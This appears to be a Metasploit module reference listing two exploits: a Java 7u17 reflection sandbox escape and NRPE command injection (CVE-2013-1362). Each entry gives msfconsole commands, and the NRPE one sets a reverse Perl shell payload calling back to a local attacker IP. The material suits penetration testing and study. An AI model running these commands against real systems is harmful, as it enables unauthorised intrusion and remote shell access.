Affected version(s) :

JDK and JRE 7 Update 17 and earlier

Tested on Windows XP Pro SP3 with :

JDK and JRE 7 Update 17

This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.

Commands :

use exploit/multi/browser/java_jre17_reflection_types
set SRVHOST 192.168.178.36

CVE-2013-1362
OSVDB-90582
BID-58142

Affected version(s) :

Nagios Remote Plugin Executor (NRPE) prior to 2.14

Tested on Ubuntu 12.10 x86 with :

Nagios Remote Plugin Executor (NRPE) 2.13

Description :

The Nagios Remote Plugin Executor (NRPE) is installed to allow a central Nagios server to actively poll information from the hosts it monitors. NRPE has a configuration option dont_blame_nrpe which enables command-line arguments to be provided remote plugins. When this option is enabled, even when NRPE makes an effort to sanitize arguments to prevent command execution, it is possible to execute arbitrary commands.

Commands :

use exploit/linux/misc/nagios_nrpe_arguments
set RHOST 192.168.178.54
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.178.36
